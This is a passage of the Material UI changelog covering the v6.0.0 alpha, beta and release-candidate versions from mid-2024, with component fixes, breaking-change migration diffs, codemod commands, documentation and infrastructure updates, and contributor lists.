@DiegoAndai\n- Updated mui-x roadmap links with the new project URL (#43444) @michelengelen\n- Update pnpm order, move to second (#42712) @ahmadnadeem6236\n- Fix CSS theme variables section (#43439) @siriwatknp\n- Add two Toolpad Core components to Material UI sidebar (#43391) @prakhargupta1\n- Fix licensingModel -> licenseModel @oliviertassinari\n- Fix Stack Overflow issue canned response @oliviertassinari\n- Avoid referencing MUI Core @oliviertassinari\n- Fix description of eslint-plugin-material-ui @oliviertassinari\n- [docs-infra] Polish reportBrokenLinks.js to support Base UI @oliviertassinari\n- [material-ui] Clarify RTL language support in localization guide (#41784) @bahmanworld\n- [material-ui] Refine templates theme selector (#43396) @zanivan\n\n### Core\n\n- Prepare for v6 stable release (#43454) @siriwatknp\n- [blog] Polish Upcoming changes to MUI X pricing in 2024 (#43438) @oliviertassinari\n- [blog] Add Material UI v6 stable release (#41932) @siriwatknp\n- [ci] Fix the release:changelog cmd (#43451) @mnajdova\n- [core] Allow `^6.0.0` for `@mui/` dependencies in `@mui/docs` (#43445) @LukasTy\n- [code-infra] Babel plugin to fully resolve imported paths (#43294) @Janpot\n- [infra] Add closing message workflow (#43450) @michelengelen\n\nAll contributors of this release in alphabetical order: @ahmadnadeem6236, @bahmanworld, @DiegoAndai, @Janpot, @KalmarLorand, @LukasTy, @michelengelen, @mnajdova, @oliviertassinari, @prakhargupta1, @sai6855, @siriwatknp, @sydneyjodon-wk, @zanivan\n\n## 6.0.0-rc.0\n\n<!-- generated comparing v6.0.0-beta.6..next -->\n\n_Aug 22, 2024_\n\nA big thanks to the 12 contributors who made this release possible. Here are some highlights ✨:\n\n- ⚡ Rendering performance improvements\n\n### `@mui/material@6.0.0-rc.0`\n\n#### Breaking changes\n\n- [Box] Remove `component` from `BoxOwnProps` (#43384) @DiegoAndai\n\n  The `component` prop has been removed from the `BoxOwnProps` as it is already included in the `Box` type.\n  This might affect your code if you are using the `styled` function with the `Box` component.\n  If this is the case, use a `div` element instead of `Box`:\n\n  ```diff\n  -const StyledBox = styled(Box)`\n  +const StyledDiv = styled('div')`\n     color: white;\n   `;\n  ```\n\n  This yields the same end result.\n  If this doesn't work for you, you can also cast the `styled` returned value to `typeof Box`:\n\n  ```diff\n   const StyledBox = styled(Box)`\n     color: white;\n  -`;\n  +` as typeof Box;\n  ```\n\n#### Changes\n\n- [ListItem] Remove unnecessary TypeScript test (#43359) @sai6855\n- Skip generating CSS variables for a custom spacing function (#43389) @siriwatknp\n- Revert visual regressions from #42283 (#43364) @ZeeshanTamboli\n\n### `@mui/codemod@6.0.0-rc.0`\n\n- Add Grid2 to removeSystemProps codemod (#43302) @DiegoAndai\n\n### Docs\n\n- [blog] Add video to the Pigment CSS blog post (#42500) @oliviertassinari\n- Fix broken link to milestones (#43379) @oliviertassinari\n- Update CSS theme variables related content (#43130) @siriwatknp\n- Fix link to createTheme source (#43332) @oliviertassinari\n- Add cache to avoid unnecessary jsx dynamic import and theme getting (#43139) @Vxee\n- Fix broken link to Next.js docs @oliviertassinari\n- [material-ui] Revamp `Composition` guide (#43266) @ZeeshanTamboli\n- [material-ui][Menu] Replace `PaperProps` with `slotProps.paper` in demos (#43354) @sai6855\n\n### Core\n\n- [code-infra] Change docs:start script to serve the exports folder (#43375) @Janpot\n- [core] Fix typescript-next CI workflow (#43394) @aarongarciah\n- [core] Run `@mui/system` TypeScript module augmentation tests in CI (#43386) @ZeeshanTamboli\n- [core] Enable manage-package-manager-versions pnpm flag (#43366) @aarongarciah\n- [core] Replace `indexOf` with `includes` (#42883) @k-rajat19\n- [docs-infra] Add GitHub source link to components (#43228) @Jay-Karia\n- [docs-infra] Fix copy shortcut (#43361) @oliviertassinari\n- [perf] Remove theme/styling allocations (#43372) @romgrk\n- [perf] Improve `composeClasses` (#43363) @romgrk\n- [perf] Remove system allocations (#43306) @romgrk\n\nAll contributors of this release in alphabetical order: @aarongarciah, @DiegoAndai, @Janpot, @Jay-Karia, @k-rajat19, @oliviertassinari, @rluzists1, @romgrk, @sai6855, @siriwatknp, @Vxee, @ZeeshanTamboli\n\n## 6.0.0-beta.6\n\n<!-- generated comparing v6.0.0-beta.5..next -->\n\n_Aug 16, 2024_\n\nA big thanks to the 18 contributors who made this release possible.\n\n### `@mui/material@6.0.0-beta.6`\n\n- [Autocomplete] Improve the `options` prop description (#41591) @pluvio72\n- [Autocomplete] Remove autocomplete warning regarding value not equal to option (#43314) @ZeeshanTamboli\n- [Divider] Add aria-orientation (#43241) @aarongarciah\n- [IconButton] Fix hover background color behavior (#43271) @mnajdova\n- [TypeScript] Refactor types so they're compatible with upcoming React 19 (#43276) @DiegoAndai\n- [Typography] Replace dot notation color value to work with Pigment CSS (#43288) @siriwatknp\n- [pigment-css] Fix `getSelector` prefers-color-scheme to be object (#43237) @siriwatknp\n- Remove `display=\"block\"` usage to work with Pigment CSS (#43307) @siriwatknp\n\n### `@mui/codemod@6.0.0-beta.6`\n\n- [codemod] Skip sx spread transformation (#43291) @siriwatknp\n\n### `@mui/styles@6.0.0-beta.6`\n\n- [styles] Fix issues reported by eslint-plugin-react-compiler (#43118) @jlewins\n\n### Docs\n\n- [material-ui] Audit and copyedit the v6 migration doc (#43073) @samuelsycamore\n- [material-ui] Fix Material Icon search lag and other improvements (#41330) @anle9650\n- [material-ui][Popover] Fix description and title of hover interaction section (#43290) @ZeeshanTamboli\n- [material-ui] Refine and unify custom template themes (#43220) @zanivan\n- [joy-ui] Fix data grid redirection (#43247) @sai6855\n- [mui-system] Add import statement in docs (#43223) @sai6855\n- Update babel config (#43286) @romgrk\n- Fix outdated references to Materal UI version (#43321) @oliviertassinari\n- Polish migration git diff experience @oliviertassinari\n- Update LTS to match format (#43212) @oliviertassinari\n- Fix Pigment CSS migration content (#43217) @siriwatknp\n\n### Core\n\n- [code-infra] Remove `userEvent` export from `@mui/internal-test-utils` (#43313) @LukasTy\n- [code-infra] Remove unnecessary alias (#43320) @Janpot\n- [code-infra] Fix utils bundle size entrypoint (#43304) @Janpot\n- [core] missing and incorrect scripts (#43209) @Jay-Karia\n- [core] Set Node 14 as minimum version in all browserslist envs (#43326) @aarongarciah\n- [core] Add React 19 as peer dependency (#43216) @aarongarciah\n- [core] Pin `eslint-plugin-jsx-a11y` version to 6.7.1 (#43292) @Janpot\n- [core] Update supported Node.js version to 14 (#43315) @Janpot\n- [core] Use fs instead of fs-extra in script utils (#43234) @DiegoAndai\n- [core] Refactor system theme props (#43120) @romgrk\n- [docs-infra] Fix some TS issues for X docs (#43285) @Janpot\n- [docs-infra] Move API pages to TS (#43199) @alexfauquette\n- [docs-infra] Fix broken sandboxes with relative module imports (#42767) @bharatkashyap\n- [docs-infra] Simplify API sections typing (#43128) @alexfauquette\n- [examples] Fix import (#43316) @aarongarciah\n- [examples] Add material-ui-pigment-css for Next.js and Vite (#43065) @siriwatknp\n- [examples] Replace wrong import with `@mui/material/styles` (#43236) @siriwatknp\n- [useMediaQuery] Adapt test implementation for React 19 (#43269) @aarongarciah\n- [test] Update `matchMedia` mocks (#43240) @cherniavskii\n- [test] Remove unnecessary ref param (#43282) @aarongarciah\n\nAll contributors of this release in alphabetical order: @aarongarciah, @alexfauquette, @anle9650, @bharatkashyap, @cherniavskii, @DiegoAndai, @Janpot, @Jay-Karia, @jlewins, @mnajdova, @oliviertassinari, @pluvio72, @renovate[bot], @romgrk, @sai6855, @samuelsycamore, @siriwatknp, @ZeeshanTamboli\n\n## 6.0.0-beta.5\n\n<!-- generated comparing v6.0.0-beta.4..next -->\n\n_Aug 8, 2024_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- Remove some deprecated props from the ListItem component (#41566) @thathva\n- Bumped the minimum supported version of TypeScript (#43116) @mnajdova\n\n### `@mui/material@6.0.0-beta.5`\n\n#### BREAKING CHANGES\n\n- [material-ui][ListItem] Removing deprecated props (#41566) @thathva\n\n  `ListItem`'s props `autoFocus`, `button`, `disabled`, and `selected`, deprecated in v5, have been removed. To replace the `button` prop, use `ListItemButton` instead. The other removed props are available in the `ListItemButton` component as well.\n\n  ```diff\n  -<ListItem button />\n  +<ListItemButton />\n  ```\n\n  Use this codemod to migrate your project to the `ListItemButton` component:\n\n  ```bash\n  npx @mui/codemod@next v6.0.0/list-item-button-prop <path/to/folder>\n  ```\n\n  As the `ListItem` no longer supports these props, the class names related to these props were removed. You should use the `listItemButtonClasses` object instead.\n\n  ```diff\n  -import { listItemClasses } from '@mui/material/ListItem';\n  +import { listItemButtonClasses } from '@mui/material/ListItemButton';\n\n  - listItemClasses.button\n  + listItemButtonClasses.root\n\n  - listItemClasses.focusVisible\n  + listItemButtonClasses.focusVisible\n\n  - listItemClasses.disabled\n  + listItemButtonClasses.disabled\n\n  - listItemClasses.selected\n  + listItemButtonClasses.selected\n  ```\n\n#### Changes\n\n- [material-ui][Autocomplete] Fix default value for multiple mode getting redefined with React 19 (#43189) @DiegoAndai\n- [material-ui] Merge `CssVarsProvider` into `ThemeProvider` (#43115) @siriwatknp\n- [material-ui] Make tests compatible with React 19 (#43155) @DiegoAndai\n- [material-ui] Refine Blog template (#42825) @zanivan\n- [material-ui] Element ref access React 19 compatibility (#43132) @DiegoAndai\n- [material-ui][mui-system] Add support for version runtime checks (#43190) @DiegoAndai\n\n### `@mui/material-pigment-css@6.0.0-beta.5`\n\n- Reexport Pigment CSS from index file (#43218) @siriwatknp\n\n### `@mui/codemod@6.0.0-beta.5`\n\n- Fix codemod crash on MuiDivider property (#43125) @Janpot\n\n### Docs\n\n- Fix resolution of @mui/material-ui in docs (#43108) @Janpot\n- Refine and polish out Templates page (#43131) @zanivan\n- Fix the link test script (#43195) @alexfauquette\n- Fix alpha usage (#43194) @siriwatknp\n- Link Toolpad Core components from Material UI docs (#43036) @prakhargupta1\n- Link Toolpad core docs to the docs menu (#42952) @prakhargupta1\n- Polish migration guide (#43021) @oliviertassinari\n- Fix 404 link to migration pages @oliviertassinari\n- Support inject dynamic theme (#42879) @Vxee\n- Fix 301 @oliviertassinari\n- [blog] Announcing pricing changes Sep 2024 (#43061) @joserodolfofreitas\n- [material-ui][TextField] Remove mentions of `redux-form` from TextField documentation (#43176) @AbdurRahman2004\n\n### Core\n\n- [code-infra] Fix `@mui/internal-test-utils` `screen` export type (#43150) @LukasTy\n- [code-infra] Do not look for changes with previous commit when releasing a canary version (#43129) @michaldudak\n- [code-infra] Automate canary releases (#43066) @michaldudak\n- [core] Apply top-level ESLint rule to docs and fix violations (#43126) @Janpot\n- [core] Patch styled-components to use React.JSX namespace (#43205) @aarongarciah\n- [core] Replace JSX namespace usages with React.JSX (#43204) @aarongarciah\n- [core] Remove `react-router` package from `pigment-css-vite-app` (#43201) @ZeeshanTamboli\n- [core] Remove unnecessary types packages from `@mui/internal-babel-macros` (#43193) @ZeeshanTamboli\n- [docs-infra] Move `ApiPage` to TS (#43149) @alexfauquette\n- [test] Remove unnecessary prop type check in test (#43211) @aarongarciah\n- [test] Make conformance tests work with async render function (#43156) @michaldudak\n- [typescript] Update the minimum supported version (#43116) @mnajdova\n\nAll contributors of this release in alphabetical order: @aarongarciah, @AbdurRahman2004, @alexfauquette, @DiegoAndai, @Janpot, @joserodolfofreitas, @LukasTy, @michaldudak, @mnajdova, @oliviertassinari, @prakhargupta1, @samuelsycamore, @siriwatknp, @thathva, @Vxee, @zanivan, @ZeeshanTamboli\n\n## 6.0.0-beta.4\n\n<!-- generated comparing v6.0.0-beta.3..next -->\n\n_Jul 30, 2024_\n\nA big thanks to the 12 contributors who made this release possible.\n\n### `@mui/material@6.0.0-beta.4`\n\n- [Accordion] Render a heading wrapping `AccordionSummary` button per W3C Accordion Pattern standards (#42914) @ZeeshanTamboli\n- [Divider] Enable borderStyle enhancement in divider with children (#42715) @anuujj\n- [ImageListItemBar] Deprecate composed classes (#42905) @sai6855\n- Attach selector for default color scheme (#43035) @siriwatknp\n- Stabilize Grid v2 and deprecate Grid v1 (#43054) @DiegoAndai\n\n### `@mui/system@6.0.0-beta.4`\n\n- Make `createBreakpoints` independent for stringify theme (#43048) @siriwatknp\n\n### `@mui/utils@6.0.0-beta.4`\n\n- Fix issues reported by the React Compiler (#43051) @markliu2013\n\n### Docs\n\n- [material-ui] Replace deprecated `<ListItem button/>` with `ListItemButton` component in routing libraries list example (#43110) @aliharis99\n- [material-ui][Card] Update CardMedia description (#43067) @shahzaibdev1\n- [material-ui] Polish out data table demo (#43072) @zanivan\n- [material-ui][Snackbar] Improve reason type in demos (#43077) @sai6855\n- [pigment-css] Fix syntax in migrating-to-pigment-css guide (#43107) @KevinVandy\n- Fix page description line break @oliviertassinari\n\n### Core\n\n- Fix event naming convention @oliviertassinari\n- [docs-infra] Move ads to the `@mui/docs` package (#42944) @alexfauquette\n\nAll contributors of this release in alphabetical order: @alexfauquette, @aliharis99, @anuujj, @DiegoAndai, @KevinVandy, @markliu2013, @oliviertassinari, @sai6855, @shahzaibdev1, @siriwatknp, @zanivan, @ZeeshanTamboli\n\n## 6.0.0-beta.3\n\n<!-- generated comparing v6.0.0-beta.2..next -->\n\n_Jul 24, 2024_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 New version of the free Dashboard template, now with more components and an improved layout.\n\n### `@mui/codemod@6.0.0-beta.3`\n\n- Fix Divider props codemod (#42919) @aarongarciah\n\n### `@mui/material@6.0.0-beta.3`\n\n- Fix Accessing element.ref (#42818) @sai6855\n- Refine `extendTheme` and `CssVarsProvider` API (#42839) @siriwatknp\n- [Typography] Deprecate `paragraph` prop (#42383) @walston\n- [Rating] fix defaultLabelText a11y issue with undefine value input and hint (#42810) @ZouYouShun\n\n### `@mui/material-nextjs@6.0.0-beta.3`\n\n- [material-ui-nextjs] Add @emotion/react as peer dependency (#42885) @jeloagnasin\n- [material-ui-nextjs] Remove @mui/material as peer dependency (#43041) @brijeshb42\n\n### `@mui/utils@6.0.0-beta.3`\n\n- [utils] Add dependency to @mui/types (#43029) @mnajdova\n\n### Docs\n\n- [material-ui][joy-ui][Autocomplete] Fix `Hint` demo (#42990) @ManthanGajjar\n- [docs] Make `DemoSandbox` agnostic of `productId` (#43042) @Janpot\n- [docs] Use slot variants over `theme.variants` (#42614) @siriwatknp\n- [docs] Remove stringify theme import (#43032) @siriwatknp\n- [docs] Bring v5.x changes to the CHANGELOG @oliviertassinari\n- [docs] Fix migration typo (#42976) @mnajdova\n- [material-ui] Add improvements to Dashboard template (#42445) @zanivan\n- [material-ui] Fix broken image links in blog template (#42956) @navedqb\n\n### Core\n\n- [code-infra] Add toolpad npm scope to envinfo (#41942) @Janpot\n- [code-infra] Fix pnpm lock file (#43030) @Janpot\n- [code-infra] Run `react-17` and `react-next` workflows on the next branch (#42690) @cherniavskii\n- [code-infra] Make `useReactVersion` script reusable in other repos (#42828) @cherniavskii\n- [code-infra] Add toolpad npm scope to envinfo (#41942) @Janpot\n- [core] Add pigment and Base UI scopes to envinfo (#43002) @Janpot\n- [core] Update minimum version of Node.js to 14.0.0 (#42920) @DiegoAndai\n- [core] Expose missing screen methods from Testing Library (#42968) @aarongarciah\n- [docs-infra] Leave TODO for warnOnce to reduce bundle size @oliviertassinari\n- [docs-infra] Remove `display: flex` from `SectionTitle` (#42979) @LukasTy\n- [test][material-ui] Remove unnecessary async act calls (#42942) @aarongarciah\n\nAll contributors of this release in alphabetical order: @aarongarciah, @bharatkashyap, @brijeshb42, @cherniavskii, @DiegoAndai, @Janpot, @jeloagnasin, @LukasTy, @ManthanGajjar, @mnajdova, @navedqb, @oliviertassinari, @sai6855, @siriwatknp, @walston, @zanivan, @ZouYouShun\n\n## 6.0.0-beta.2\n\n<!-- generated comparing v6.0.0-beta.1..next -->\n\n_Jul 16, 2024_\n\n### `@mui/material@6.0.0-beta.2`\n\n- [material] Add missing dependency (#42961) @mnajdova\n\n### Docs\n\n- [docs] Move feedback from Canny to GitHub @oliviertassinari\n\nAll contributors of this release in alphabetical order: @mnajdova, @oliviertassinari\n\n## 6.0.0-beta.1\n\n<!-- generated comparing v6.0.0-beta.0..next -->\n\n_Jul 16, 2024_\n\nA big thanks to the 6 contributors who made this release possible.\n\n### `@mui/material@6.0.0-beta.1`\n\n- Remove dependency on @mui/base (#42907) @mnajdova\n- Set material-pigment-css to public (#42912) @siriwatknp\n\n### `@mui/codemod@6.0.0-beta.1`\n\n- Support sx conditional inside spread element (#42894) @siriwatknp\n\n### Docs\n\n- Fix 301 link @oliviertassinari\n- [material-ui] Add script to generate template screenshots (#42903) @siriwatknp\n\n### Core\n\n- [core] Remove custom hooks from the `mui-name-matches-component-name` linting rule (#42773) @flaviendelangle\n- [core] Normalize rest / other to match the most common used @oliviertassinari\n- [docs-infra] Move Ads component to TS (#42842) @alexfauquette\n- [docs-infra] Support code tabs overflow (#42913) @arminmeh\n\nAll contributors of this release in alphabetical order: @alexfauquette, @arminmeh, @flaviendelangle, @mnajdova, @oliviertassinari, @siriwatknp\n\n## 6.0.0-beta.0\n\n<!-- generated comparing v6.0.0-alpha.14..next -->\n\n_Jul 11, 2024_\n\nA big thanks to the 12 contributors who made this release possible. Here are some highlights ✨:\n\n- 🎉 This is the first v6 beta release! A huge thanks to everyone who helped to make this happen! The target date for a stable release is the 28th of July. The next month will be used to polish v6, and ease the migration from v5. You can follow the [v6 stable milestone](https://github.com/mui/material-ui/milestone/42) for more details.\n- 🚀 All planned breaking changes are completed.\n\n### `@mui/material@v6.0.0-beta.0`\n\n- Revert deprecation warnings for `*Components` and `*Props` for v6 (#42466) @lhilgert9\n- Performance: lazy Ripple (#41061) @romgrk\n- [AppBar] Fix inherit color is inconsistent between ThemeProvider and CssVarsProvider (#42714) @ZeeshanTamboli\n- [Autocomplete] Add new AutocompleteInputChangeReason (#37301) @binh1298\n\n### `@mui/material-pigment-css@v6.0.0-beta.0`\n\n- Create a wrapper package over Pigment CSS (#42819) @brijeshb42\n\n### `@mui/base@5.0.0-beta.53`\n\n- [Autocomplete] Add new AutocompleteInputChangeReason (#37301) @binh1298\n\n### Docs\n\n- Replace v6 \"alpha\" mentions with \"beta\" (#42895) @DiegoAndai\n- Fix typos (#42862) @omahs\n- Fix issues reported by react compiler in docs folder (#42881) @sai6855\n- Fix 301 @oliviertassinari\n- [LinearProgress] Fix buffer demo (#42858) @mbrookes\n- Adjust site to add Toolpad on the homepage (#38604) @bharatkashyap\n\n### Core\n\n- Fix imports in `Demo` component (#42857) @LukasTy\n- Use @mui/docs/HighlightedCodeWithTabs in markdown (#42841) @Janpot\n- Simpler pnpm dedupe error message to act on @oliviertassinari\n- Fix split infinitive use in tests @oliviertassinari\n- [lab] Fix issues reported by react-compiler in mui-lab (#42880) @sai6855\n\nAll contributors of this release in alphabetical order: @bharatkashyap, @brijeshb42, @DiegoAndai, @Janpot, @lhilgert9, @LukasTy, @mbrookes, @oliviertassinari, @omahs, @romgrk, @sai6855, @ZeeshanTamboli\n\n## 6.0.0-alpha.14\n\n<!-- generated comparing v6.0.0-alpha.13..next -->\n\n_Jul 3, 2024_\n\nA big thanks to the 12 contributors who made this release possible. Here are some highlights ✨:\n\n- ✨ Updated Grid v2 to match PigmentGrid (#42742) @DiegoAndai\n\n### `@mui/material@v6.0.0-alpha.14`\n\n#### BREAKING CHANGES\n\n- [Grid] Update Grid props to match PigmentGrid (#42742) @DiegoAndai\n\n  Use the codemod below to migrate the props:\n\n  ```bash\n  npx @mui/codemod@next v6.0.0/grid-v2-props /path/to/folder\n  ```\n\n#### Changes\n\n- [Alert] Add ability to override slot props (#42787) @alexey-kozlenkov\n- [Dialog] Revert incorrect textAlign style removal (#42778) @DiegoAndai\n- [theme] Support `CssVarsTheme` in `responsiveFontSizes` return type (#42786) @jxdp\n\n### Docs\n\n- [material-ui] Add some writing tweaks to v6 migration page (#42623) @danilo-leal\n- [material-ui] Fix issues reported by react-compiler in docs folder (#42830) @sai6855\n- [material-ui] Add some writing tweaks to v6 migration page (#42623) @danilo-leal\n- [base-ui] Fix wrong description for `UseTabParameters.onChange` (#42749) @ohgree\n- Fix 301 MDN redirections @oliviertassinari\n\n### Core\n\n- [core] Bump React to 18.3.1 (#42047) @renovate[bot]\n- [core] Revert lint for `useThemeProps` (#42817) @siriwatknp\n- [core] Remove useIsFocusVisible util (#42467) @DiegoAndai\n- [core] Remove react-test-renderer (#42784) @aarongarciah\n- [core][mui-utils] Remove remaining IE11 references (#42777) @DiegoAndai\n- [code-infra] Move `HighlightedCode` test into `@mui/docs` package (#42835) @LukasTy\n- [code-infra] Cleanup `@mui/docs` usage and legacy re-exports (#42833) @LukasTy\n- [docs-infra] Fix React Compiler ESLint issues in website components (#42566) @aarongarciah\n- [docs-infra] Add batch of design polish (#42823) @danilo-leal\n- [test][mui-utils] Remove usages of deprecated react-dom APIs (#42780) @aarongarciah\n- [test][joy-ui][Autocomplete] Fix spread key error in test (#42775) @aarongarciah\n\nAll contributors of this release in alphabetical order: @aarongarciah, @alexey-kozlenkov, @danilo-leal, @DiegoAndai, @Janpot, @jxdp, @LukasTy, @ohgree, @oliviertassinari, @renovate[bot], @sai6855, @siriwatknp\n\n## 6.0.0-alpha.13\n\n<!-- generated comparing v6.0.0-alpha.12..next -->\n\n_Jun 27, 2024_\n\nA big thanks to the 10 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 Added layout components for Pigment CSS integration (#42693) @siriwatknp\n\n### `@mui/material@6.0.0-alpha.13`\n\n- [Autocomplete] Fix more React 18.3 key spread warnings in demos (#42639) @wbt\n- [Container][Grid][Stack][Hidden] Export Pigment CSS layout components (#42693) @siriwatknp\n- [Text Field] when click password visibility button, text caret position change to very front. (#42595) @appleSimple\n- [Modal] migrate useSlotProps to useSLot (#42150) @sai6855\n\n### `@mui/styles@6.0.0-alpha.13`\n\n- [withStyles] Expect React defaultProps warning in test (#42752) @aarongarciah\n\n### Docs\n\n- Fix link in CONTRIBUTING.md (#42755) @Janpot\n- Add documentation on migrating JSS's alternative, array-based syntax to syntax supported by Emotion (#42053) @cjl750\n- Fix type error in virtualized table demo (#42757) @aarongarciah\n- Add first batch of v6 migration (#42242) @siriwatknp\n- Fix quotes on font-family dedeclaration in the Landing Page template theme (#42748) @joetats\n\n### Core\n\n- [code-infra] Refactor ESLint `import/no-cycle` rule (#42705) @LukasTy\n- [core] Target direct version for prerelease (#42768) @siriwatknp\n- [test] Remove enzyme (#42706) @aarongarciah\n- [test] Remove createMount test util (#42703) @aarongarciah\n\nAll contributors of this release in alphabetical order: @aarongarciah, @alelthomas, @appleSimple, @cjl750, @Janpot, @joetats, @LukasTy, @sai6855, @siriwatknp, @wbt\n\n## 6.0.0-alpha.12\n\n<!-- generated comparing v6.0.0-alpha.11..next -->\n\n_Jun 24, 2024_\n\nA big thanks to the 17 contributors who made this release possible.\n\n### `@mui/material@6.0.0-alpha.12`\n\n- Add `InitColorSchemeScript` for Next.js App Router (#42247) @siriwatknp\n- [Autocomplete] Fix renderOption props type (#42689) @DiegoAndai\n- [Autocomplete] Fix React 18.3 key spread warnings in Autocomplete demos (#42691) @aarongarciah\n- Support Pigment CSS for `CssBaseline`, `ScopedCssBaseline` and `Popper` (#42640) @siriwatknp\n- Add `DefaultPropsProvider` for Pigment CSS integration (#42638) @siriwatknp\n- [Stepper] Generate class for nonLinear prop (#42620) @alexismo\n- [Tab] Fix failing test (#42686) @aarongarciah\n- [Tab] Deprecate iconWrapper class for icon class (#42647) @sai6855\n- [TableSortLabel] Deprecate composed classes (#42281) @sai6855\n- [usePagination] Update pagination `siblingsEnd` calculation logic (#42667) @Mini-ghost\n\n### `@mui/codemod@6.0.0-alpha.12`\n\n- Support dynamic props styled transformation (#42683) @siriwatknp\n\n### `@mui/system@6.0.0-alpha.12`\n\n- Fix issues reported by react compiler in `mui-system` package (#42637) @sai6855\n- [useMediaQuery] Remove deprecated types (#42560) @aarongarciah\n\n### `@mui/joy@5.0.0-beta.45`\n\n- Fix issues reported by the React Compiler (#42671) @anuujj\n- [Autocomplete] Fix React spread key warning (#42741) @aarongarciah\n\n### `@mui/lab@6.0.0-alpha.12`\n\n- [LoadingButton] Apply wrapping element to prevent React crash on Google page translation (#35198) @BartJanvanAssen\n\n### Docs\n\n- Fix git diff format in migration to v6 (#42711) @oliviertassinari\n- Use new email for sponsoring @oliviertassinari\n- Fix 301 links (#42697) @alexfauquette\n- Normalize the capitalization of Design Kit @oliviertassinari\n- Recommend setting HTML attribute instead of DOM property for RTL (#42599) @aarongarciah\n- [material-ui][Select] Fix the `SelectAutoWidth` demo menu item value (#42648) @Danielkhakbaz\n\n### Core\n\n- [code-infra] Try disabling animations when taking screenshots (#42537) @Janpot\n- [code-infra] Fix benchmark package (#42553) @Janpot\n- [core] Replace enzyme in describeConformance (#42447) @DiegoAndai\n- [docs-infra] Fix layout shift demo toolbar (#42743) @oliviertassinari\n- [docs-infra] Fix visual look of in-house ad (#42735) @oliviertassinari\n- [docs-infra] Add stray design polish (#42646) @danilo-leal\n- [docs-infra] Fix wrong migration (#42675) @siriwatknp\n- [docs-infra] Fine tune markdown elements design (#42643) @danilo-leal\n- [docs-infra] Revamp the product switcher design (#42603) @danilo-leal\n- [docs-infra] Allow Link component to receive the `role` attribute (#42629) @danilo-leal\n- [infra] Add support donation button (#42499) @oliviertassinari\n- [infra] Raise `tsconfig`/`tsc` target to `es2022` (#42645) @LukasTy\n- [test] Fix tests on CI (#42670) @michaldudak\n- [test] Fix issues reported by react-compiler in test packages (#42626) @sai6855\n\nAll contributors of this release in alphabetical order: @aarongarciah, @alexfauquette, @alexismo, @anuujj, @arminmeh, @BartJanvanAssen, @Danielkhakbaz, @danilo-leal, @DiegoAndai, @Janpot, @LukasTy, @michaldudak, @Mini-ghost, @mnajdova, @oliviertassinari, @sai6855, @siriwatknp\n\n## 6.0.0-alpha.11\n\n<!-- generated comparing v6.0.0-alpha.10..next -->\n\n_Jun 11, 2024_\n\nA big thanks to the 18 contributors who made this release possible.\n\n### `@mui/material@6.0.0-alpha.11`\n\n- [Autocomplete] Shouldn't resize when hovering (#42452) @ZeeshanTamboli\n- [Chip] Fix focus issue related with the Escape event (#41578) @shrilsharma\n- [Grid] Fix support for CSS variables (#42574) @oliviertassinari\n- [InputBase] Use `globalCss` for Pigment integration (#42431) @siriwatknp\n- Change React.ReactElement type from `any` to `unknown` (#42473) @sai6855\n- Integrate `extendSxProp` adapter (#42543) @siriwatknp\n- [Tab] Fix applying `iconWrapper` styles from theme and update its description (#42549) @sai6855\n- [pigment-css] Add `stringifyTheme` for Pigment CSS integration (#42476) @siriwatknp\n\n### `@mui/system@6.0.0-alpha.11`\n\n- [Grid] Remove `disableEqualOverflow` by using `gap` (#42526) @DiegoAndai\n- [useMediaQuery] Drop Safari < 14 support (#42464) @aarongarciah\n\n### `@mui/utils@6.0.0-alpha.11`\n\n- Allow passing `NaN` as `defaultValue` to `useControlled` (#41559) @iammminzzy\n\n### `@mui/codemod@6.0.0-alpha.11`\n\n- Improve styled and sx prop transformation (#42598) @siriwatknp\n- Support more cases for sx-prop transformation (#42527) @siriwatknp\n\n### `@mui/private-theming@6.0.0-alpha.11`\n\n- Fix issues reported by react compiler in `mui-private-theming` components (#42619) @sai6855\n\n### Docs\n\n- Add `theme.applyStyles()` and migrate docs (#42498) @siriwatknp\n- Fix dashboard template console error (#42594) @oliviertassinari\n- Migrate system props to `sx` prop (#42475) @siriwatknp\n- [material-ui]Fix duplicated sentence (#42521) @alexfauquette\n- [Grid] Fix docs spacing (#42573) @oliviertassinari\n- [joy-ui] Add Next.js App Router instructions on how to prevent flickering (#42514) @devnyxie\n- [joy-ui] Fix HTML tag without preformatting (#42525) @jacobmoshipco\n- [material-ui] Add docs for complementary stepper components (#41900) @anle9650\n- [material-ui] Fix typo on Sign-in/Sign-up templates (#42605) @zanivan\n- [material-ui] Add container queries docs (#42434) @siriwatknp\n- [material-ui] Fix ESLint error in Stepper demo (#42559) @aarongarciah\n- [material-ui] Shorten useMediaQuery subheading (#42561) @aarongarciah\n- [material-ui] Add a Refine example project (#42461) @necatiozmen\n\n### Core\n\n- [core] Allow `for..of` loops (#42600) @michaldudak\n- [core] Add comment about Object.js @oliviertassinari\n- [core] Disable eslint-plugin-react-compiler for Base (#42563) @aarongarciah\n- [core] Group Pigment CSS dependencies (#42174) @siriwatknp\n- [core] Configure eslint-plugin-react-compiler (#42555) @aarongarciah\n- [core] Skip charts animation for visual regression test (#42530) @alexfauquette\n- [docs-infra] Simplify click header (#42593) @oliviertassinari\n- [docs-infra] Add configurable jsdoc host variable (#42472) @tonygravell\n- [docs-infra] Add the Base UI logo with copy functionality (#42446) @danilo-leal\n- [docs-infra] Prevent link anchor when selecting text (#41994) @alexfauquette\n- [docs-infra] Add the Base UI logo with copy functionality (#42446) @danilo-leal\n- [examples] Remove Pigment CSS examples (#42471) @sai6855\n- [test] Restore pnpm tc command (#42572) @oliviertassinari\n- [test] Restore testing internal packages (#42519) @michaldudak\n\nAll contributors of this release in alphabetical order: @aarongarciah, @alexfauquette, @anle9650, @DanailH, @danilo-leal, @devnyxie, @DiegoAndai, @iammminzzy, @jacobmoshipco, @michaldudak, @necatiozmen, @oliviertassinari, @sai6855, @shrilsharma, @siriwatknp, @tonygravell, @zanivan, @ZeeshanTamboli\n\n## 6.0.0-alpha.10\n\n<!-- generated comparing v6.0.0-alpha.9..next -->\n\n_Jun 4, 2024_\n\nA big thanks to the 7 contributors who made this release possible.\n\n### `@mui/material@6.0.0-alpha.10`\n\n- [Backdrop] Deprecate `components` and `componentsProps` (#42468) @DiegoAndai\n- [Collapse] Bound max transition time (#42390) @oliviertassinari\n- [FilledInput] Remove unapplied classes from filledInputClasses interface and add missing classes to root (#42082) @sai6855\n- [InputBase] Deprecate components and componentProps props for v6 (#42093) 